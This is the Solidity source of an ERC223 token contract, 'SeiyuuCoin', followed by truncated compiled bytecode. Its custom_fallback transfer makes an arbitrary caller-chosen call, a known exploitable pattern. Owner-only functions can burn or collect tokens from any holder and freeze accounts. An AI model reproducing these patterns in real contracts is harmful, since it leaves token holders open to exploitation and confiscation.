pragma solidity ^0.4.20; /** * @title ContractReceiver * @dev Receiver for ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC223 { uint public totalSupply; function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function totalSupply() public view returns (uint256 _supply); function balanceOf(address who) public view returns (uint); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); event Transfer(address indexed _from, address indexed _to, uint256 _value); } contract Seiyuu is ERC223, Ownable { using SafeMath for uint256; string public name = "SeiyuuCoin"; string public symbol = "SEYU"; uint8 public decimals = 8; uint256 public initialSupply = 45e9 * 1e8; uint256 public totalSupply; uint256 public distributeAmount = 0; bool public mintingFinished = false; mapping (address => uint) balances; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed burner, uint256 value); event Mint(address indexed to, uint256 amount); event MintFinished(); function Seiyuu() public { totalSupply = initialSupply; balances[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } modifier onlyPayloadSize(uint256 size){ assert(msg.data.length >= size + 4); _; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if(isContract(_to)) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { // retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } /** * @dev Prevent targets from sending or receiving tokens * @param targets Addresses to be frozen * @param isFrozen either to freeze it or not */ function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint i = 0; i < targets.length; i++) { require(targets[i] != 0x0); frozenAccount[targets[i]] = isFrozen; FrozenFunds(targets[i], isFrozen); } } /** * @dev Prevent targets from sending or receiving tokens by setting Unix times * @param targets Addresses to be locked funds * @param unixTimes Unix times when locking up will be finished */ function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint i = 0; i < targets.length; i++){ require(unlockUnixTime[targets[i]] < unixTimes[i]); unlockUnixTime[targets[i]] = unixTimes[i]; LockedFunds(targets[i], unixTimes[i]); } } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf(_from) >= _unitAmount); balances[_from] = SafeMath.sub(balances[_from], _unitAmount); totalSupply = SafeMath.sub(totalSupply, _unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = SafeMath.add(totalSupply, _unitAmount); balances[_to] = SafeMath.add(balances[_to], _unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } /** * @dev Function to stop minting new tokens. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeTokens(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = SafeMath.mul(amount, 1e8); uint256 totalAmount = SafeMath.mul(amount, addresses.length); require(balances[msg.sender] >= totalAmount); for (uint i = 0; i < addresses.length; i++) { require(addresses[i] != 0x0 && frozenAccount[addresses[i]] == false && now > unlockUnixTime[addresses[i]]); balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amount); Transfer(msg.sender, addresses[i], amount); } balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint i = 0; i < addresses.length; i++) { require(amounts[i] > 0 && addresses[i] != 0x0 && frozenAccount[addresses[i]] == false && now > unlockUnixTime[addresses[i]]); amounts[i] = SafeMath.mul(amounts[i], 1e8); require(balances[addresses[i]] >= amounts[i]); balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]); totalAmount = SafeMath.add(totalAmount, amounts[i]); Transfer(addresses[i], msg.sender, amounts[i]); } balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } /** * @dev Function to distribute tokens to the msg.sender automatically * If distributeAmount is 0, this function doesn&#39;t work */ function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf(owner) >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if (msg.value > 0) owner.transfer(msg.value); balances[owner] = SafeMath.sub(balances[owner], distributeAmount); balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount); Transfer(owner, msg.sender, distributeAmount); } /** * @dev token fallback function */ function() payable public { autoDistribute(); } }
0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461014857806306fdde031461017757806318160ddd14610207578063256fa24114610232578063313ce567146102ba578063378dc3dc146102eb57806340c10f19146103165780634f25eced1461037b57806364ddc605146103a657806370a082311461044f5780637d64bcb4146104a65780638da5cb5b146104d557806395d89b411461052c5780639dc29fac146105bc578063a8f11eb914610609578063a9059cbb14610613578063b414d4b614610678578063be45fd62146106d3578063c341b9f61461077e578063cbbe974b146107f0578063d39b1d4814610847578063f0dc417114610874578063f2fde38b14610935578063f6368f8a14610978575b610146610a69565b005b34801561015457600080fd5b5061015d610db6565b604051808215151515815260200191505060405180910390f35b34801561018357600080fd5b5061018c610dc9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101cc5780820151818401526020810190506101b1565b50505050905090810190601f1680156101f95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021357600080fd5b5061021c610e6b565b6040518082815260200191505060405180910390f35b34801561023e57600080fd5b506102a06004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190505050610e75565b604051808215151515815260200191505060405180910390f35b3480156102c657600080fd5b506102cf6112a0565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f757600080fd5b506103006112b7565b6040518082815260200191505060405180910390f35b34801561032257600080fd5b50610361600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112bd565b604051808215151515815260200191505060405180910390f35b34801561038757600080fd5b506103906114a2565b6040518082815260200191505060405180910390f35b3480156103b257600080fd5b5061044d60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506114a8565b005b34801561045b57600080fd5b50610490600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ac565b6040518082815260200191505060405180910390f35b3480156104b257600080fd5b506104bb6116f5565b604051808215151515815260200191505060405180910390f35b3480156104e157600080fd5b506104ea6117bd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561053857600080fd5b506105416117e3565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610581578082015181840152602081019050610566565b50505050905090810190601f1680156105ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105c857600080fd5b50610607600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611885565b005b610611610a69565b005b34801561061f57600080fd5b5061065e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119f4565b604051808215151515815260200191505060405180910390f35b34801561068457600080fd5b506106b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b88565b604051808215151515815260200191505060405180910390f35b3480156106df57600080fd5b50610764600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611ba8565b604051808215151515815260200191505060405180910390f35b34801561078a57600080fd5b506107ee60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803515159060200190929190505050611d39565b005b3480156107fc57600080fd5b50610831600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611edb565b6040518082815260200191505060405180910390f35b34801561085357600080fd5b5061087260048036038101908080359060200190929190505050611ef3565b005b34801561088057600080fd5b5061091b6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050611f59565b604051808215151515815260200191505060405180910390f35b34801561094157600080fd5b50610976600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612406565b005b34801561098457600080fd5b50610a4f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061255e565b604051808215151515815260200191505060405180910390f35b6000600754118015610aa75750600754610aa4600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166116ac565b10155b8015610b03575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610b4d5750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515610b5857600080fd5b6000341115610bcb57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610bc9573d6000803e3d6000fd5b505b610c3860096000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600754612a50565b60096000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ce8600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600754612a69565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040518082815260200191505060405180910390a3565b600860009054906101000a900460ff1681565b606060028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e615780601f10610e3657610100808354040283529160200191610e61565b820191906000526020600020905b815481529060010190602001808311610e4457829003601f168201915b5050505050905090565b6000600654905090565b60008060008084118015610e8a575060008551115b8015610ee6575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610f305750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515610f3b57600080fd5b610f49846305f5e100612a87565b9350610f56848651612a87565b915081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610fa657600080fd5b600090505b84518110156112085760008582815181101515610fc457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614158015611059575060001515600a6000878481518110151561100357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156110ba5750600b6000868381518110151561107257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b15156110c557600080fd5b6111256009600087848151811015156110da57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485612a69565b60096000878481518110151561113757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550848181518110151561118d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a38080600101915050610fab565b611251600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612a50565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b6000600460009054906101000a900460ff16905090565b60055481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561131b57600080fd5b600860009054906101000a900460ff1615151561133757600080fd5b60008211151561134657600080fd5b61135260065483612a69565b6006819055506113a1600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612a69565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60075481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561150657600080fd5b60008351118015611518575081518351145b151561152357600080fd5b600090505b82518110156116a757818181518110151561153f57fe5b90602001906020020151600b6000858481518110151561155b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156115ac57600080fd5b81818151811015156115ba57fe5b90602001906020020151600b600085848151811015156115d657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110151561162c57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110151561167b57fe5b906020019060200201516040518082815260200191505060405180910390a28080600101915050611528565b505050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561175357600080fd5b600860009054906101000a900460ff1615151561176f57600080fd5b6001600860006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561187b5780601f106118505761010080835404028352916020019161187b565b820191906000526020600020905b81548152906001019060200180831161185e57829003601f168201915b5050505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118e157600080fd5b6000811180156118f95750806118f6836116ac565b10155b151561190457600080fd5b61194d600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612a50565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c60065482612a50565b6006819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b60006060600083118015611a58575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611ab4575060001515600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611afe5750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b8015611b485750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611b5357600080fd5b611b5c84612ac2565b15611b7357611b6c848483612ad5565b9150611b81565b611b7e848483612dfb565b91505b5092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008083118015611c09575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611c65575060001515600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611caf5750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b8015611cf95750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611d0457600080fd5b611d0d84612ac2565b15611d2457611d1d848484612ad5565b9050611d32565b611d2f848484612dfb565b90505b9392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d9757600080fd5b60008351111515611da757600080fd5b600090505b8251811015611ed65760008382815181101515611dc557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515611df257600080fd5b81600a60008584815181101515611e0557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508281815181101515611e6e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a28080600101915050611dac565b505050565b600b6020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f4f57600080fd5b8060078190555050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fba57600080fd5b60008551118015611fcc575083518551145b1515611fd757600080fd5b60009150600090505b845181101561236e5760008482815181101515611ff957fe5b9060200190602002015111801561203e57506000858281518110151561201b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614155b80156120b1575060001515600a6000878481518110151561205b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156121125750600b600086838151811015156120ca57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561211d57600080fd5b612142848281518110151561212e57fe5b906020019060200201516305f5e100612a87565b848281518110151561215057fe5b9060200190602002018181525050838181518110151561216c57fe5b9060200190602002015160096000878481518110151561218857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156121da57600080fd5b6122516009600087848151811015156121ef57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858381518110151561224257fe5b90602001906020020151612a50565b60096000878481518110151561226357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122cc8285838151811015156122bd57fe5b90602001906020020151612a69565b91503373ffffffffffffffffffffffffffffffffffffffff1685828151811015156122f357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef868481518110151561234257fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050611fe0565b6123b7600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612a69565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561246257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561249e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080841180156125bf575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b801561261b575060001515600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156126655750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b80156126af5750600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b15156126ba57600080fd5b6126c385612ac2565b15612a3a57836126d2336116ac565b10156126dd57600080fd5b6126ef6126e9336116ac565b85612a50565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061274461273e866116ac565b85612a69565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b6020831015156127d657805182526020820191506020810190506020830392506127b1565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b838110156128b757808201518184015260208101905061289c565b50505050905090810190601f1680156128e45780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af19350505050151561290457fe5b826040518082805190602001908083835b60208310151561293a5780518252602082019150602081019050602083039250612915565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019050612a48565b612a45858585612dfb565b90505b949350505050565b6000828211151515612a5e57fe5b818303905092915050565b6000808284019050838110151515612a7d57fe5b8091505092915050565b6000806000841415612a9c5760009150612abb565b8284029050828482811515612aad57fe5b04141515612ab757fe5b8091505b5092915050565b600080823b905060008111915050919050565b60008083612ae2336116ac565b1015612aed57600080fd5b612aff612af9336116ac565b85612a50565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b54612b4e866116ac565b85612a69565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612c5c578082015181840152602081019050612c41565b505050509050908101